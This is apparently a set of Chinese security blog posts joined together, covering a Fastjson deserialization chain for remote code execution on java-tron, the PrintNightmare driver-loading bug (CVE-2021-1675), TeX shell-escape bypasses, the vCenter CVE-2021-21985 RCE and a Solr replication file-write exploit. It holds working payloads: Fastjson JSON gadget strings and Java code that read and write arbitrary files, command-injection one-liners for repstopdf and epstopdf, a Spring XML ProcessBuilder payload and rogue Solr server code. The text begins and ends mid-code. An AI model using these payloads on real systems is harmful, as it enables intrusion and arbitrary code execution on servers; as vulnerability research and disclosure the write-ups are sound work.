true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}";

3.commons-io 逐字节读文件内容

String payload_read_file = "{\"abc\": {\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"org.apache.commons.io.input.BOMInputStream\",\"delegate\": {\"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\"reader\": {\"@type\": \"jdk.nashorn.api.scripting.URLReader\",\"url\": \"file:///D:/tmp/sss.txt\"},\"charsetName\": \"UTF-8\",\"bufferSize\": 1024},\"boms\": [{\"charsetName\": \"UTF-8\",\"bytes\": [11]}]},\"address\": {\"$ref\": \"$.abc.BOM\"}}";
6
7
8

四、New Gadgets 及实现区块链RCE

PPT中提到了,它没有mysql-jdbc链,且为Spring-boot,无法直接写webshell。虽然我们可以覆盖class文件,但是需要root权限,且并不确定charse.jar path。

然后回到目标本身,java tron是tron推出的公链协议的java实现,是一个开源 Java 应用程序,Java-tron 可以在 tron 节点上启用 HTTP 服务内部使用Fastjson解析Json数据。且:

• Leveldb 和 leveldbjni:

• 快速键值存储库

• 被比特币使用,因此被很多公链继承

• 存储区块链元数据,频繁轮询读写

• 需要效率,所以 JNI https://github.com/fusesource/leveldbjn

综上所述,洞主最终利用Fastjson的几个漏洞,结合Levaldbjni的JNI特性,替换/tmp/目录下的so文件最终执行了恶意命令

1.模拟环境 Levaldbjni_Sample

这里我们简单写了一个Levaldbjni的Demo来模拟漏洞环境,

两次执行factory.open(new File("/tmp/lvltest1"), options);都将会加载

/**
 * @auther Skay
 * @date 2021/8/10 19:35
 * @description
 */

import static org.fusesource.leveldbjni.JniDBFactory.factory;

import java.io.File;
import java.io.IOException;

import org.iq80.leveldb.DB;
import org.iq80.leveldb.Options;

public class Levaldbjni_Sample {
    public static void main(String[] args) throws IOException, InterruptedException {
        Options options = new Options();
        Thread.sleep(2000);
        options.createIfMissing(true);
        Thread.sleep(2000);
        DB db = factory.open(new File("/tmp/lvltest"), options);
        System.out.println("so file created");
        System.out.println("watting attack.......");
        Thread.sleep(30000);
        System.out.println("Exploit.......");
        DB db1 = factory.open(new File("/tmp/lvltest1"), options);

        try {
            for (int i = 0; i < 1000000; i++) {
                byte[] key = new String("key" + i).getBytes();
                byte[] value = new String("value" + i).getBytes();
                db.put(key, value);
            }
            for (int i = 0; i < 1000000; i++) {
                byte[] key = new String("key" + i).getBytes();
                byte[] value = db.get(key);
                String targetValue = "value" + i;
                if (!new String(value).equals(targetValue)) {
                    System.out.println("something wrong!");
                }
            }
            for (int i = 0; i < 1000000; i++) {
                byte[] key = new String("key" + i).getBytes();
                db.delete(key);
            }

            Thread.sleep(20000);
//            Thread.sleep(500000);
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            db.close();
        }
    }
}

运行时会在tmp目录下生成如下文件

9

可以看到我们的目标就是替换libleveldbjni-64-5950274583505954902.so

2.commons-io 逐字节读文件名

在议题中中对于commons-io的使用是读取/tmp/目录下的随机生成的so文件名,我们现在可以使用file协议读取文件内容了,这里我们使用netdoc协议读取文件名即可,因为是逐字节读取,我们写一个简单的循环判断即可

public static char fakeChar(char[] fileName){
    char[] fs=new char[fileName.length+1];
    System.arraycopy(fileName,0,fs,0,fileName.length);
    for (char i = 1; i <= 127; i++) {
        fs[fs.length-1]=i;
        String payload_read_file = "{\"abc\": {\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"org.apache.commons.io.input.BOMInputStream\",\"delegate\": {\"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\"reader\": {\"@type\": \"jdk.nashorn.api.scripting.URLReader\",\"url\": \"netdoc:///tmp/\"},\"charsetName\": \"utf-8\",\"bufferSize\": 1024},\"boms\": [{\"charsetName\": \"utf-8\",\"bytes\": ["+formatChars(fs)+"]}]},\"address\": {\"$ref\": \"$.abc.BOM\"}}";
        if (JSON.parse(payload_read_file).toString().indexOf("bOMCharsetName")>0){
            return i;
        }
    }
    return 0;
}

执行效果如下

10

3.so文件的修改

这里需要一点二进制的知识,首先确定下我们要修改哪个函数

11

修改如下即可

12
13

4.写二进制文件

commons-io的链只支持写文本文件,这里测试了一下,不进行base64编码进行单纯文本方式操作二进制文件写入文件前后会产生一些奇妙的变化

14

议题作者给出了写二进制文件的一条新链

233

在进行了base64编码后就不存在上述问题,这里感谢浅蓝师傅提供了一些构造帮助,最后此链构造如下:

/**
 * @auther Skay
 * @date 2021/8/13 14:25
 * @description
 */
public class payload_AspectJ_writefile {
    public static void write_so(String target_path){
        byte[] bom_buffer_bytes = readFileInBytesToString("./beichen.so");
        //写文本时要填充数据
//        String so_content = new String(bom_buffer_bytes);
//        for (int i=0;i<8192;i++){
//            so_content = so_content+"a";
//        }
//        String base64_so_content = Base64.getEncoder().encodeToString(so_content.getBytes());
        String base64_so_content = Base64.getEncoder().encodeToString(bom_buffer_bytes);
        byte[] big_bom_buffer_bytes = Base64.getDecoder().decode(base64_so_content);
//        byte[] big_bom_buffer_bytes = base64_so_content.getBytes();
        String payload = String.format("{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
                "  \"delegate\":{\n" +
                "    \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
                "    \"input\":{\n" +
                "      \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" +
                "      \"in\":{\n" +
                "        \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
                "        \"charset\":\"utf-8\",\n" +
                "        \"bufferSize\": 1024,\n" +
                "        \"s\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" +
                "      },\n" +
                "      \"doEncode\":false,\n" +
                "      \"lineLength\":1024,\n" +
                "      \"lineSeparator\":\"5ZWKCg==\",\n" +
                "      \"decodingPolicy\":0\n" +
                "    },\n" +
                "    \"branch\":{\n" +
                "      \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
                "      \"targetPath\":\"%2$s\"\n" +
                "    },\n" +
                "    \"closeBranch\":true\n" +
                "  },\n" +
                "  \"include\":true,\n" +
                "  \"boms\":[{\n" +
                "                  \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
                "                  \"charsetName\": \"UTF-8\",\n" +
                "                  \"bytes\":" +"%3$s\n" +
                "                }],\n" +
                "  \"x\":{\"$ref\":\"$.bOM\"}\n" +
                "}",base64_so_content, "D://java//Fastjson_All//fastjson_debug//fastjson_68_payload_test_attck//aaa.so",Arrays.toString(big_bom_buffer_bytes));
//        System.out.println(payload);
        JSON.parse(payload);

    }

    public static byte[] readFileInBytesToString(String filePath) {
        final int readArraySizePerRead = 4096;
        File file = new File(filePath);
        ArrayList<Byte> bytes = new ArrayList<>();
        try {
            if (file.exists()) {
                DataInputStream isr = new DataInputStream(new FileInputStream(
                        file));
                byte[] tempchars = new byte[readArraySizePerRead];
                int charsReadCount = 0;

                while ((charsReadCount = isr.read(tempchars)) != -1) {
                    for(int i = 0 ; i < charsReadCount ; i++){
                        bytes.add (tempchars[i]);
                    }
                }
                isr.close();
            }
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        return toPrimitives(bytes.toArray(new Byte[0]));
    }

    static byte[] toPrimitives(Byte[] oBytes) {
        byte[] bytes = new byte[oBytes.length];

        for (int i = 0; i < oBytes.length; i++) {
            bytes[i] = oBytes[i];
        }

        return bytes;
    }
}

5.成功RCE

15

五、参考链接 & 致谢

*感谢voidfyoo、浅蓝、*RicterZ 在Fastjson Poc方面帮助

感谢Swing、Beichen 在二进制方面帮助

最后感谢郑成功不断督促和鼓励才使得这篇文章得以顺利展示到大家面前

https://www.mi1k7ea.com/2019/11/03/Fastjson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

http://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf

对打印机服务漏洞 CVE-2021-1675 代码执行的验证过程

By: yyjb
30 June 2021 at 10:09

背景

本月的微软更新包含一个spool的打印机服务本地提权漏洞,自从去年cve-2020-1048被公开以来,似乎许多人开始关注到这一模块的漏洞。鉴于此这个漏洞刚公布出来时,并没有太仔细关注。直到后面关注到绿盟的微信公众号的演示视频,显示这个漏洞可能在域环境特定情况下执行任意代码。所以认为有必要对其原理以及适用范围情况进行分析。

补丁分析

通过补丁对比,可以确定该漏洞触发原理应该是一个在添加打印机驱动的过程中RpcAddPrinterDriverEx()绕过某些检查的漏洞。

根据API文档,RpcAddPrinterDriverEx API用于在打印机服务器上安装打印机驱动;第三个参数为dwFileCopyFlags,指定了服务器在拷贝驱动文件时的行为。文档给出了标志的可能值,结合补丁,我们发现了这样一个标志:APD_INSTALL_WARNED_DRIVER(0x8000),此标志允许服务器安装警告的打印机驱动,也就是说,如果在flag中设置了APD_INSTALL_WARNED_DRIVER,那么我们可以无视警告安装打印机驱动。这刚好是微软补丁试图限制的标志位。

本地提权

我们分析了添加驱动的内部实现(位于localspl.dll的InternalAddPrinterDriver函数),添加驱动的过程如下:

1. 检查驱动签名

2. 建立驱动文件列表

3. 检查驱动兼容性

4. 拷贝驱动文件

如果能够绕过其中的限制,将自己编写的dll复制到驱动目录并加载,就可以完成本地提权。

绕过对驱动文件签名的检查

绕过驱动签名检查的关键函数为ValidateDriverInfo()。分析该函数,我们发现,如果标志位设置了APD_INSTALL_WARNED_DRIVER(0x8000),那么函数会跳过驱动路径和驱动签名的检查。

绕过建立驱动文件目录函数

CreateInternalDriverFileArray()函数根据文件操作标志来决定是否检查spool驱动目录。如果a5 flag被标志为False,驱动加载函数只会检查用户目录中是否包含要拷贝的驱动文件;否则,函数会尝试到spool驱动目录寻找目标驱动,在本地提权场景下,这将导致列表建立失败。

通过简单分析可以发现,在FileCopyFlags中设置APD_COPY_FROM_DIRECTORY(0x10),即可跳过spool目录检查。

绕过驱动文件版本检查

后续的检查包括对需要添加的驱动的兼容性检查,这里主要是检查我们需要添加的驱动版本信息(这里主要是指版本号的第二位,我后面所描述的版本号都特指第二位):

下面是用来被当去打印驱动加载的我们自己生成的一个dll文件,

修改dll文件版本号绕过驱动文件兼容性检查:

驱动加载函数InternalAddPrinterDriver中的检查限制了驱动版号只能为0,1,3.

而兼容性检查的内部函数实现(ntprint.dll的PSetupIsCompatibleDriver函数)又限制了该版本号必须大于2。因此,可以修改待加载驱动或dll文件的版本号为3,从而绕过驱动兼容性检查。

驱动文件的复制加载

驱动文件拷贝函数(CopyFileToFinalDirectory)对参数没有额外的限制。函数执行完成后,我们的驱动文件以及依赖就被复制到驱动目录了,复制后的驱动文件会被自动加载。

自动加载驱动:

尝试远程执行代码。

目前,我们已经可以从本地指定的用户目录加载我们自定义的打印机驱动文件到spool驱动目录。之前我们对AddPrinterDriverExW函数的调用第一个参数为空,用来在本地加载。如果直接设置该参数为指定服务器地址,目标会返回我们需要登陆到目标设备的权限的错误。作为测试,我们先通过IPC连接到目标设备,之后再通过我们的驱动添加调用,使远程目标设备从其本地的指定目录复制驱动文件到spool驱动目录并加载。

但这里有一个问题,这个操作仅仅是让目标服务器从本地磁盘复制并加载驱动,在此之前,我们还要使我们自己的驱动文件从攻击机设备的目录上分发到目标设备上。

这里就必须要求目标开启对应的集群后台打印处理程序,之后再次调用AddPrinterDriverExW修改标志为APD_COPY_TO_ALL_SPOOLERS,将本地的驱动文件分发到目标设备磁盘上。

远程加载驱动

最后,我这里并没有使用实际的集群打印服务器的环境。作为测试,我预先复制了驱动文件到目标服务器的指定路径。调用AddPrinterDriverExW使远程目标服务器完成了复制用户目录驱动文件到驱动目录并以system权限加载的过程。

思路验证视频:

漏洞总结

该漏洞的核心是允许普通用户绕过检查,将一个任意未签名dll复制到驱动目录并以系统管理员权限加载起来。而该漏洞可以达到远程触发的效果,则是由于集群打印服务间可以远程分发接收打印驱动文件的特性。

所以就目前的漏洞验证结果来看,该漏洞的危害似乎可能比他的漏洞原理表现出来的要影响更多一点。除了作为本地提权的利用方式之外,如果在一些内部隔离办公环境,启用了这种集群打印服务又没有及时更新系统补丁,该漏洞的作用还是比较有威胁性的。

PrintNightmare 0day POC的补充说明

通过最近一两天其他研究人员的证明,目前公开的cube0x0/PrintNightmare poc可以对最新的补丁起作用。鉴于此,我们后续验证了这个原因。

通过分析,补丁函数中对调用来源做了检查,查询当前调用者token失败时,会强制删除掉APD_INSTALL_WARNED_DRIVER(0x8000)的驱动添加标志。从而导致验证不通过。

但是,当我们从远程调用到这个接口,至少目前证实的通过IPC连接到目标后,这里的调用者已经继承了所需要的token,从而绕过检查。

从某种意义上讲,该漏洞修复方案只针对本地提权场景进行了限制,而没有考虑到远程调用对漏洞的影响。

参考

https://mp.weixin.qq.com/s/MjLPFuFJobkDxaIowvta7A

http://218.94.103.156:8090/download/developer/xpsource/Win2K3/NT/public/internal/windows/inc/winsprlp.h

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b

https://github.com/cube0x0/CVE-2021-1675

TeX 安全模式绕过研究

By: RicterZ
6 June 2021 at 07:06

漏洞时间线:

  • 2021/03/08 - 提交漏洞至 TeX 官方;
  • 2021/03/27 - 漏洞修复,安全版本:TeX Live 2021;
  • 2021/06/06 - 漏洞分析公开。

I. Tex 安全限制概述

TeX 提供了 \write18 原语以执行命令。为了提高安全性,TexLive 的配置文件(texmf.cnf)提供了配置项(shell_escape、shell_escape_commands)去配置 \write18 能否执行命令以及允许执行的命令列表。

其中 shell_escape 有三种配置值,分别为:

  • f:不允许执行任何命令
  • t:允许执行任何命令
  • p:支持执行白名单内的命令(默认)

白名单命令列表可以通过如下命令查询:

kpsewhich --var-value shell_escape_commands

shell_escape 配置值可以通过如下命令查询:

kpsewhich --var-value shell_escape

本文涉及的 CVE 如下:没 advisory 懒得申请了。

II. 挖掘思路

TeX 提供了一个默认的白名单命令列表,如若在调用过程中,这些命令出现安全问题,则会导致 TeX 本身在调用命令的时候出现相同的安全问题。

可以假设:在命令调用的过程中,由于开发者对于命令参数的不完全掌握,有可能存在某个命令参数最终会作为系统命令进行调用的情况。依据这个思路,挖掘白名单内的命令以及白名单内命令的内部调用,并最终得到一个调用链以及相关的参数列表,依据研究人员的经验去判断是否存在安全问题。

III. 在 *nix 下的利用方式

通过针对命令的深入挖掘,发现白名单内的 repstopdf 命令存在安全问题,通过精心构造参数可以执行任意系统命令。

repstopdf 意为 restricted epstopdf,epstopdf 是一个 Perl 开发的脚本程序,可以将 eps 文件转化为 pdf 文件。repstopdf 强制开启了 epstopdf 的 --safer 参数,同时禁用了 --gsopt/--gsopts/--gscmd 等 GhostScript 相关的危险参数,以防止在 TeX 中调用此命令出现安全问题。repstopdf 调用方式如下:

repstopdf [options] [epsfile [pdffile.pdf]]

repstopdf 会调用 GhostScript 去生成 pdf 文件(具体调用参数可以用过 strace 命令进行跟踪),其中传入的 epsfile 参数会成为 GhostScript 的 -sOutputFile= 选项的参数。

通过查阅 GhostScript 的文档可知,GhostScript 的此项参数支持管道操作。当我们传入文件名为:|id 时,GhostScript 会执行 id 命令。于是我们可以构造 repstopdf 的参数实现任意的命令执行操作,不受前文所提及的限制条件限制。利用方式如下所示:

repstopdf '|id #'

在 TeX 内的利用方式为:

\write18{repstopdf "|id #"}

IV. 在 Windows 下的利用方式

Windows 平台下,白名单内存在的是 epstopdf 而非 repstopdf,且相关参数选项与 *nix 平台下不相同,但仍旧存在 --gsopt 选项。利用此选项可以控制调用 GhostScript 时的参数。

此参数只支持设定调用 GhostScript 时的参数选项。参考 GhostScript 的文档,指定参数 -sOutputFile 及其他相关参数即可。利用方式为:

epstopdf 1.tex "--gsopt=-sOutputFile=%pipe%calc" "--gsopt=-sDEVICE=pdfwrite" "--gsopt=-"

V. LuaLaTeX 的安全问题

LuaLaTex 内置了 Lua 解释器,可以在编译时执行 Lua 代码,原语为:\directlua。LuaLaTeX 支持调用系统命令,但是同样地受到 shell_escape 的限制。如在受限(f)模式下,不允许执行任意命令;默认情况下只允许执行白名单内的命令。由于可以调用白名单内的命令,LuaLaTeX 同样可以利用 III、IV 内描述的方式进行利用,在此不做进一步赘述。

LuaLaTeX 的 Lua 解释器支持如下风险功能:

  • 命令执行(io.popen 等函数)
  • 文件操作(lfs 库函数)
  • 环境变量设置(os.setenv)
  • 内置了部分自研库(fontloader)

1. 环境变量劫持导致命令执行

通过修改 PATH 环境变量,可以达到劫持白名单内命令的效果。PATH 环境变量指定了可执行文件所在位置的目录路径,当在终端或者命令行输入命令时,系统会依次查找 PATH 变量中指定的目录路径,如果该命令存在与目录中,则执行此命令(https://en.wikipedia.org/wiki/PATH_(variable))。

将 PATH 变量修改为攻击者可控的目录,并在该目录下创建与白名单内命令同名的恶意二进制文件后,攻击者通过正常系统功能调用白名单内的命令后,可以达到任意命令执行的效果。

2. fontloader 库安全问题

fontloader 库存在典型的命令注入问题,问题代码如下:

// texk/web2c/luatexdir/luafontloader/fontforge/fontforge/splinefont.c
char *Decompress(char *name, int compression) {
    char *dir = getenv("TMPDIR");
    char buf[1500];
    char *tmpfile;

    if ( dir==NULL ) dir = P_tmpdir;
    tmpfile = galloc(strlen(dir)+strlen(GFileNameTail(name))+2);
    strcpy(tmpfile,dir);
    strcat(tmpfile,"/");
    strcat(tmpfile,GFileNameTail(name));
    *strrchr(tmpfile,'.') = '\0';
#if defined( _NO_SNPRINTF ) || defined( __VMS )
    sprintf( buf, "%s < %s > %s", compressors[compression].decomp, name, tmpfile );
#else
    snprintf( buf, sizeof(buf), "%s < %s > %s", compressors[compression].decomp, name, tmpfile );
#endif
    if ( system(buf)==0 )
return( tmpfile );
    free(tmpfile);
return( NULL );
}

调用链为:

ff_open -> ReadSplineFont -> _ReadSplineFont -> Decompress -> system

通过 Lua 调用 fontloader.open 函数即可触发。此方式可以在受限(f)模式下执行命令。

VI. DVI 的安全问题

DVI(Device independent file)是一种二进制文件格式,可以由 TeX 生成。在 TeX 中,可以利用 \special 原语嵌入图形。TeX 内置了 DVI 查看器,其中 *nix 平台下为 xdvi 命令,Windows 平台下通常为 YAP(Yet Another Previewer)。

1. xdvi 命令的安全问题

xdvi 在处理超链接时,调用了系统命令启动新的 xdvi,存在典型的命令注入问题。问题代码如下:

// texk/xdvik/hypertex.c
void
launch_xdvi(const char *filename, const char *anchor_name)
{
#define ARG_LEN 32
    int i = 0;
    const char *argv[ARG_LEN];
    char *shrink_arg = NULL;

    ASSERT(filename != NULL, "filename argument to launch_xdvi() mustn't be NULL");

    argv[i++] = kpse_invocation_name;
    argv[i++] = "-name";
    argv[i++] = "xdvi";

    /* start the new instance with the same debug flags as the current instance */
    if (globals.debug != 0) {
	argv[i++] = "-debug";
	argv[i++] = resource.debug_arg;
    }
    
    if (anchor_name != NULL) {
	argv[i++] = "-anchorposition";
	argv[i++] = anchor_name;
    }

    argv[i++] = "-s";
    shrink_arg = XMALLOC(shrink_arg, LENGTH_OF_INT + 1);
    sprintf(shrink_arg, "%d", currwin.shrinkfactor);
    argv[i++] = shrink_arg;

    argv[i++] = filename; /* FIXME */
    
    argv[i++] = NULL;
    
...
	    execvp(argv[0], (char **)argv);

2. YAP 安全问题

YAP 在处理 DVI 内置的 PostScripts 脚本时调用了 GhostScript,且未开启安全模式(-dSAFER),可以直接利用内嵌的 GhostScript 进行命令执行。

VII. 漏洞利用

TeX 底层出现安全问题时,可以影响基于 TeX 的相关在线平台、TeX 编辑器以及命令行。下面以 MacOS 下比较知名的 Texpad 进行演示:

VIII. 参考文章

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析

By: RicterZ
5 June 2021 at 00:17
vSphere vCenter Server 的 vsphere-ui 基于 OSGi 框架,包含上百个 bundle。前几日爆出的任意文件写入漏洞即为 vrops 相关的 bundle 出现的问题。在针对其他 bundle 审计的过程中,发现 h5-vsan 相关的 bundle 提供了一些 API 端点,并且未经过授权即可访问。通过进一步的利用,发现其中某个端点存在安全问题,可以执行任意 Spring Bean 的方法,从而导致命令执行。
CVE-2021-21985 vCenter Server 远程代码执行漏洞分析

漏洞时间线:

  • 2021/04/13 - 发现漏洞并实现 RCE;
  • 2021/04/16 - 提交漏洞至 VMware 官方并获得回复;
  • 2021/05/26 - VMware 发布漏洞 Advisory(VMSA-2021-0010);
  • 2021/06/02 - Exploit 公开(from 随风's blog);
  • 2021/06/05 - 本文公开。

0x01. 漏洞分析

存在漏洞的 API 端点如下:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 1. 存在漏洞的 Controller

首先在请求路径中获取 Bean 名称或者类名和方法名称,接着从 POST 数据中获取 methodInput 列表作为方法参数,接着进入 invokeService 方法:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 2. invokeService 方法

invokeServer 先获取了 Bean 实例,接着获取该实例的方法列表,比对方法名和方法参数长度后,将用户传入的参数进行了一个简单的反序列化后利用进行了调用。Bean 非常多(根据版本不同数量有微量变化),如图所示:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 3. Bean 列表

其中不乏存在危险方法、可以利用的 Bean,需要跟进其方法实现进行排查。本文中的 PoC 所使用的 Bean 是 vmodlContext,对应的类是 com.vmware.vim.vmomi.core.types.impl.VmodContextImpl,其中的 loadVmodlPackage 方法代码如下:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 4. loadVmodlPackage 方法

注意到 loadVmodlPackage 会调用 SpringContextLoader 进行加载,vmodPackage 可控。

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 5. 调用 SpringContextLoader

最终会调用到 ClassPathXmlApplicationContext 的构造方法。ClassPathXmlApplicationContext 可以指定一个 XML 文件路径,Spring 会解析 XML 的内容,造成 SpEL 注入,从而实现执行任意代码。

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 6. ClassPathXmlApplicationContext

需要注意的是,在 SpringContextLoadergetContextFileNameForPackage 会将路径中的 . 替换为 /,所以无法指定一个正常的 IPv4 地址,但是可以利用数字型 IP 绕过:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 7. 调用 loadVmodlPackages 方法并传入 URL

XML 文件内容及攻击效果如下:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 8. XML 文件内容及攻击效果

0x02. 不出网利用(6.7 / 7.0)

若要利用此漏洞本质上需要获取一个 XML 文件的内容,而 Java 的 URL 并不支持 data 协议,那么需要返回内容可控的 SSRF 或者文件上传漏洞。这里利用的是返回内容可控的 SSRF 漏洞。漏洞位于 vSAN Health 组件中的 VsanHttpProvider.py:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 9. VsanHttpProvider.py 文件内容

这里存在一个 SSRF 漏洞,使用的是 Python 的 urlopen 函数进行请求,接着将返回内容在内存中进行解压,并且匹配文件名为 .*offline_bundle.* 的内容并进行返回。Python 的 urlopen 支持 data 协议,所以可以构造一个压缩包并 Base64 编码,构造 data 协议的 URL:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 10. 利用 SSRF 返回可控文件内容

在利用的过程中,将 IP 地址替换为 localhost 即可防止 . 被替换。由于这个端点在 6.5 版本的 vSAN Health 不存在,所以无法在 6.5 版本上不出网利用。

现在虽然不用进行外网请求,但是仍然无法获取命令回显。通过查看 Bean 列表,发现存在名为 systemProperties 的 Bean。同时这个 Bean 也存在方法可以获取属性内容:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 11. 调用 systemProperties 的方法

所以在执行 SpEL 时,可以将命令暂存到 systemProperties 中,然后利用 getProperty 方法获取回显。最终的 context.xml 内容为:

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
          <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value><![CDATA[ ls -la /  2>&1 ]]></value>
          </list>
        </constructor-arg>
    </bean>
    <bean id="is" class="java.io.InputStreamReader">
        <constructor-arg>
            <value>#{pb.start().getInputStream()}</value>
        </constructor-arg>
    </bean>
    <bean id="br" class="java.io.BufferedReader">
        <constructor-arg>
            <value>#{is}</value>
        </constructor-arg>
    </bean>
    <bean id="collectors" class="java.util.stream.Collectors"></bean>
    <bean id="system" class="java.lang.System">
        <property name="whatever" value="#{ system.setProperty(&quot;output&quot;, br.lines().collect(collectors.joining(&quot;\n&quot;))) }"/>
    </bean>
</beans>

最终利用需要两个 HTTP 请求进行。第一个请求利用 h5-vsan 组件的 SSRF 去请求本地的 vSAN Health 组件,触发第二个 SSRF 漏洞从而返回内容可控的 XML 文件内容,XML 文件会执行命令并存入 System Properties 中,第二个请求调用 systemProperties Bean 的 getProperty 方法获取输出。最终攻击效果如下:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 12. 不出网攻击效果

0x03. 技术总结

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

By: RicterZ
2 June 2021 at 09:10
Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

0x01. TL; DR

事情要从 Skay 的 SSRF 漏洞(CVE-2021-27905)说起。正巧后续的工作中遇到了 Solr,我就接着这个漏洞进行了进一步的分析。漏洞原因是在于 Solr 主从复制(Replication)时,可以传入任意 URL,而 Solr 会针对此 URL 进行请求。

说起主从复制,那么对于 Redis 主从复制漏洞比较熟悉的人会知道,可以利用主从复制的功能实现任意文件写入,那么 Solr 是否会存在这个问题呢?通过进一步的分析,我发现这个漏洞岂止于 SSRF,简直就是 Redis Replication 文件写入的翻版,通过构造合法的返回,可以以 Solr 应用的权限实现任意文件写。

对于低版本 Solr,可以通过写入 JSP 文件获取 Webshell,对于高版本 Solr,则需要结合用户权限,写入 crontab 或者 authorized_keys 文件利用。

0x02. CVE-2021-27905

Solr 的 ReplicationHandler 在传入 command 为 fetchindex 时,会请求传入的 masterUrl,漏洞点如下:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

SSRF 漏洞到这里就结束了。那么后续呢,如果是正常的主从复制,又会经历怎么样的过程?

0x03. Replication 代码分析

我们继续跟进 doFetch 方法,发现会调用到 fetchLatestIndex 方法:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

在此方法中,首先去请求目标 URL 的 Solr 实例,接着对于返回值的 indexversiongeneration 进行判断:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

如果全部合法(参加下图的 if 条件),则继续请求服务,获取文件列表:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

文件列表包含filelistconfFilestlogFiles 三部分,如果目标 Solr 实例返回的文件列表不为空,则将文件列表中的内容添加到 filesToDownload 中。这里 Solr 是调用的 command 是 filelist

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

获取下载文件的列表后,接着 Solr 会进行文件的下载操作,按照 filesToDownloadtlogFilesToDownloadconfFilesToDownload 的顺序进行下载。

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

我们随意跟进某个下载方法,比如 downloadConfFiles

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

可以发现,saveAs 变量是取于 files 的某个属性,而最终会直接创建一个 File 对象:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

也就是说,如果 file 的 alias 或者 name 可控,则可以利用 ../ 进行目录遍历,造成任意文件写入的效果。再回到 fetchFileList 查看,可以发现,filesToDownload 是完全从目标 Solr 实例的返回中获取的,也就是说是完全可控的。

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

0x04. Exploit 编写

类似于 Redis Replication 的 Exploit,我们也需要编写一个 Rogue Solr Server,需要实现几种 commands,包括 indexversionfilelist 以及 filecontent。部分代码如下:

if (data.contains("command=indexversion")) {
    response = SolrResponse.makeIndexResponse().toByteArray();
} else if (data.contains("command=filelist")) {
    response = SolrResponse.makeFileListResponse().toByteArray();
} else if (data.contains("command=filecontent")) {
    response = SolrResponse.makeFileContentResponse().toByteArray();
} else {
    response = "Hello World".getBytes();
}

t.getResponseHeaders().add("Content-Type", "application/octet-stream");
t.sendResponseHeaders(200, response.length);
OutputStream os = t.getResponseBody();
os.write(response);
os.close()

返回恶意文件的代码如下:

public static ByteArrayOutputStream makeFileListResponse() throws IOException {
    ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
    JavaBinCodec codec = new JavaBinCodec(null);

    NamedList<Object> values = new SimpleOrderedMap<>();
    NamedList<Object> headers = new SimpleOrderedMap<>();
    headers.add("status", 0);
    headers.add("QTime", 1);

    values.add("responseHeader", headers);

